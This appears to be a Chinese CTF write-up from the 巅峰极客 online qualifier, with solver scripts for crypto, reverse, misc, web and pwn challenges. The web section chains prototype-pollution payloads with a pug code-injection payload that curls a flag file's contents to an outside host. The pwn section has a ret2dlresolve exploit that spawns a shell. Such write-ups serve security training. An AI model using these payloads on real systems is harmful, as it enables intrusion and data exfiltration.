巅峰极客线上赛部分WP

阅读量    108258 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

misc

1、签到

说了GAME,所以AES密钥为GAME,到https://aghorler.github.io/emoji-aes/ emjio-aes解密即可

flag{10ve_4nd_Peace}

 

Crypto

1、MedicalImage

分析给出的代码,读入图片后首先对一些位进行了互换,然后进行异或加密,而异或加密的初始密钥是随机生成的,但是生成两个随机数都是有一定范围的,所以可以遍历所有可能,对图片进行解密

from decimal import *
from math import log
from PIL import Image
import numpy as np
getcontext().prec = 20

def f1(x):
    # It is based on logistic map in chaotic systems
    # 它基于混沌系统中的logistic映射
    # The parameter r takes the largest legal value
    # 参数r取最大的合法值
    assert(x>=0)
    assert(x<=1)
    return x * 4 * (1 - x)


def f2(x):
    # same as f1
    assert(x>=0)
    assert(x<=1)
    return x * 4 * (1 - x)


def f3(x):
    # same as f1
    assert(x>=0)
    assert(x<=1)
    return x * 4 * (1 - x)


def decryptImage(pic,size,config):
    w,h = size
    r1 = Decimal('0.478706063089473894123')
    r2 = Decimal('0.613494245341234672318')
    r3 = Decimal('0.946365754637812381837')
    for i in range(200):
        r1 = f1(r1)
        r2 = f2(r2)
        r3 = f3(r3)
    const = 10**14
    p0,c0=config
    for x in range(w):
        for y in range(h):
            k = int(round(const*r3))%256
            k = bin(k)[2:].ljust(8,'0')         # bin()函数返回二进制形式,并对齐为8位形式,位数不够前补0
            k = int(k[p0%8:]+k[:p0%8],2)
            r3 = f3(r3)
            p0 = ((pic[y,x]^c0^k)-k)%256
            c0 = pic[y,x]
            pic[y,x] = p0
    # 互换
    count = 0       #
    pos_list = []
    for x in range(w):
        for y in range(h):
            x1 = int(round(const*r1))%w         # round()函数四舍五入
            y1 = int(round(const*r2))%h
            pos_list.append((x1, y1))
            r1 = f1(r1)
            r2 = f2(r2)
            count += 1      #
    count -= 1
    for x in range(w-1,-1,-1):
        for y in range(h-1,-1,-1):
            x1,y1 = pos_list[count]
            tmp = pic[y,x]
            pic[y,x] = pic[y1,x1]
            pic[y1,x1] = tmp
            count -= 1
    return pic,size


def outputImage(path,pic,size):
    im = Image.new('P', size,'white')
    pixels = im.load()
    for i in range(im.size[0]):
        for j in range(im.size[1]):
            pixels[i,j] = (int(pic[j][i]))

    im.save(path)


if __name__ == '__main__':
    dec_img = 'flag_enc.bmp'
    out_im = 'flag_dec'
    im = Image.open(dec_img)
    size = im.size
    pic  = np.array(im) 
    im.close()
    k = 0
    for i in range(100, 105):
        for j in range(200, 205):
            config = (i, j)
            de_pic, de_size = decryptImage(pic, size, config)
            temp_out_im = out_im + str(k) + '.bmp'
            k += 1
            outputImage(temp_out_im,de_pic,de_size)

2、learnSM4

这道题是非预期解,两次暴力破解sha256即可。第一次需要破解4位,解空间较小,可以使用pwntool中的函数进行破解,第二次需要破解10位,使用在线破解网站https://www.cmd5.com/进行破解(需要付费)

import socket
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256


def main():
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.connect(('47.104.94.208', 54740))
    msg = sk.recv(1024).decode()
    suffix = msg[12:msg.find(')')]
    cipher = msg[msg.find('==') + 3:-1]
    msg = sk.recv(1024).decode()
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sk.send((proof + '\n').encode())
    msg = sk.recv(1024).decode()
    msg = sk.recv(1024).decode()
    cipher = msg[10:msg.find('\n')]
    print(cipher)
    for i in range(8):
        sk.send('1\n'.encode())
        msg = sk.recv(1024).decode()
        sk.send('1\n'.encode())
        msg = sk.recv(1024).decode()
        sk.send('a\n'.encode())
        msg = sk.recv(1024).decode()
        msg = sk.recv(1024).decode()
    print(msg)
    answer = input()
    sk.send(answer.encode())
    flag = sk.recv(1024).decode()
    print(flag)


if __name__ == '__main__':
    main()

flag{a722626d-0775-4976-bf3e-36ad965c031a}

3、crtrsa

exp:

from gmpy2 import *

e = 2953544268002866703872076551930953722572317122777861299293407053391808199220655289235983088986372630141821049118015752017412642148934113723174855236142887
n = 6006128121276172470274143101473619963750725942458450119252491144009018469845917986523007748831362674341219814935241703026024431390531323127620970750816983
c = 4082777468662493175049853412968913980472986215497247773911290709560282223053863513029985115855416847643274608394467813391117463817805000754191093158289399

for dp in range(1,1<<20):
    a = 114514
    p = gcd(pow(a,e*dp-1,n)-1,n)
    if p != 1:
        q = n / p
        break

d = invert(e,(p-1)*(q-1))
print hex(pow(c,d,n))[2:].decode('hex')

flag{d67fde91-f6c0-484d-88a4-1778f7fa0c05}

 

web

1、ezjs

随便输入写什么,都能登陆,登陆进去,,点击提交,出现可以query参数

?newimg=.%2Fimages%2F1.png

尝试发现任意文件读,同时根据报错信息,拿到入口文件index.js位置/app/routes/index.js

var express = require('express');
var router = express.Router();
var {body, validationResult} = require('express-validator');
var crypto = require('crypto');
var fs = require('fs');
var validator = [
  body('*').trim(),
  body('username').if(body('username').exists()).isLength({min: 5})
  .withMessage("username is too short"),
  body('password').if(body('password').exists()).isLength({min: 5})
  .withMessage("password is too short"),(req, res, next) => {
        const errors = validationResult(req)
        if (!errors.isEmpty()) {
      return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg});
        }
        next()
    }
];

router.use(validator);


router.get('/', function(req, res, next) {
  return res.render('index', {title: "登录界面"});
});


router.post('/login', function(req, res, next) {
  let username = req.body.username;
  let password = req.body.password;
  if (username !== undefined && password !== undefined) {

    if (username == "admin" && password === crypto.randomBytes(32).toString('hex')) {
      req.session.username = "admin";
    } else if (username != "admin"){
      req.session.username = username;


    } else {
      return res.render('msg',{title: 'error', msg: 'admin password error'});
    }
    return res.redirect('/verify');
  }

  return res.render('msg',{title: 'error',msg: 'plz input your username and password'});
});



router.get('/verify', function(req, res, next) {
  console.log(req.session.username);
  if (req.session.username === undefined) {
    return res.render('msg', {title: 'error', msg: 'login first plz'});
  }
  if (req.session.username === "admin") {
    req.session.isadmin = "admin";
  } else {
    req.session.isadmin = "notadmin";
  }
  return res.render('verify', {title: 'success', msg: 'verify success'});
});





router.get('/admin', function(req, res, next) {
  //req.session.debug = true;

  if (req.session.username !== undefined && req.session.isadmin !== undefined) {

    if (req.query.newimg !== undefined) req.session.img = req.query.newimg;

    var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");
    var base64data = Buffer.from(imgdata, 'binary').toString('base64');

    var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑😅v0.0.0(尚处于开发版"};


    if (req.session.isadmin !== "notadmin") {

      if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
      if (req.query.diy !== undefined) req.session.diy = req.query.diy;
      info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
      return res.render('admin', info);
    } else {
      return res.render('admin', info);
    }
  } else {
    return res.render('msg', {title: 'error', msg: 'plz login first'});
  }
});

module.exports = router;

还有hint文件

使用tac命令即可拿到flag,以及flag在/root/flag.txt
 if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;

以上代码也很可以,凭空整出一个p参数

查询得知 ,pretty存在代码注入漏洞,参考Code injection vulnerability in visitMixin and visitMixinBlock through “pretty” option #3312

但是,后面这个p参数要生效首先需要admin权限,即前面的判断条件

req.session.debug !== undefined && req.session.debug !== false
req.session.isadmin !== "notadmin"

都成立,这个判断条件的漏洞不符合常理,让这些量为已定义的空值就可以

查阅资料发现express-validator的特定版本中是存在原型链污染的,参考博客express-validator 6.6.0 原型链污染分析

payload

首先,任意登陆一个账户,保持会话,向/login发送post数据

"].__proto__["isadmin

再次发送

"].__proto__["debug

这样就能提升成为admin用户,然后向/admin路由发送query参数p,使用进行rce

');process.mainModule.constructor._load('child_process').exec('curl http://ip:port/?a=`tac /root/flag.txt|base64`');_=('

image-20210731185720158

flag{d18fbbe1-6e32-4bbf-b076-f396f9961e49}

 

pwn

1、mimic game

题目给了一个observer,原理是以mimic32作为子进程,另外从mimicpy,mimicgo两个程序中任选一个,也作为另一个子进程:

在mimic32里面发现了栈溢出的漏洞点:

看一下Mimic32开的保护:

所以可以直接用 ret2dlresolve:

注意最后因为不能直接用标准输出,所以要进行重定向: 1>$2

exp:

from pwn import *

# sh = process("./obs")
sh = remote("47.104.94.208", 33865)
libc = ELF("./libc-2.23.so.x86")

context.binary = elf = ELF('./mimic32')
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh 1>&2"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
# print raw_rop

payload = flat({48:raw_rop,80:dlresolve.payload})
print payload
print len(payload)
payload = '\x00'*48 + payload[48:]


sleep(0.1)
sh.sendline('1')
sleep(0.5)
sh.send(payload)
sh.interactive()

flag{mim1c_s_fl4g}

 

Re

1、baby_maze

迷宫题,运行如下exp:

from idc import *
from idautils import *

def run_one(addr, paths, flag):
    count = 0
    found = False
    to_handle_refs = []
    for xref in XrefsTo(addr, 0):
        count += 1
        cur_fm = xref.frm
        cur_start = idc.get_func_attr(cur_fm, FUNCATTR_START)
        if cur_start not in paths:
            fm = cur_fm
            fun_start = cur_start
            found = True
            to_handle_refs.append((fm, fun_start))

    if found:
        rets = []
        for fm, fun_start in to_handle_refs:
            case_ea = fm - 5
            comment = idc.get_cmt(case_ea, 1)
            assert 'case' in comment
            c = (chr(int(comment.split('case')[1])))
            rets.append((c, fun_start))
        return rets

    return None

start = 0x54DE35
addr = start
paths = []
flag = ''
queue = [(addr, paths, flag)]

while len(queue) > 0:
    new_queue = []
    #print ('queue=%d, len=%d' %(len(queue), len(queue[0][2])))
    for addr, paths, flag in queue:
        #print ('%x' %(addr))
        rets = run_one(addr, paths, flag)
        #print ('ret=%s' %rets)
        if rets is None:
            continue
        for c, next_fun in rets:
            if next_fun == 0x40187c:
                print ('succ:S%s' %(flag+c)[::-1])
                continue
            new_queue.append((next_fun, paths+[addr], flag+c))

    queue = new_queue.copy()


import hashlib
print (hashlib.md5(b'SSSSSSSSSDDDDDDWWWWAAWWAAWWDDDDDDDDDDDDDDDDDDDDSSDDSSAASSSSAAAAWWAAWWWWAASSSSSSAASSDDSSSSDDWWWWDDSSDDDDWWDDDDDDWWAAAAWWDDDDWWAAWWWWDDSSDDSSSSSSSSSSDDDDSSAAAASSSSSSAASSSSAAWWAASSSSDDDDDDDDDDSSDDSSAASSSSAASSSSSSSSDDWWWWWWDDWWWWDDWWWWDDSSSSSSSSAASSSSDDDDSSDDDDWWDDSSDDSSDDDDDDDDSSDDSSSSDDDDSSDDSSSSSSDDSSSSDDDDSSSSDDDDDDSSSSDDSSDSSASSSSAASSDDSSAASSDDDDDDSSDDDDWWDDSSSSSSDDDDWWAAWWWWDDDDSSSSDDDDDDSSAASSSSSSDDDDDDDDSSDDDDSSSSSSDDWWDDDDDDSSSSSSSSAASSDDSSSSSSAASSDDS').hexdigest())

flag{078c8fbc1d0d033f663dcc58e899c101}

2、medical_app

感觉就一个RC4和一个XXtea

xx-tea脚本如下:

 #include <stdio.h>
#include <stdint.h>
#define DELTA 0x9F5776B6
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52/n;
        sum = 0;
        z = v[n-1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p=0; p<n-1; p++)
            {
                y = v[p+1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n-1] += MX;
        }
        while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}


int main()
{
    unsigned int v[9] = { 0x68e5973e,0xc20c7367,0x98afd41b,0xfe4b9de2,0x1a5b60b,0x3d36d646,0xdbcc7baf,0xa0414f00,0x762ce71a};
    uint32_t const k[4]= {0x1,0x10,0x100,0x1000};
    int n= 9; //n的绝对值表示v的长度,取正表示加密,取负表示解密
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位

    btea(v, -n, k);
    unsigned char* yk= reinterpret_cast<unsigned char *>((char *) v);
    for(int i=0;i<36;i++)
    {

        printf("%0.2x",*(yk+i));
    }


    return 0;
}

之后在线进行RC4解密

flag{194836950ae9df840e8a94348b901a}

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多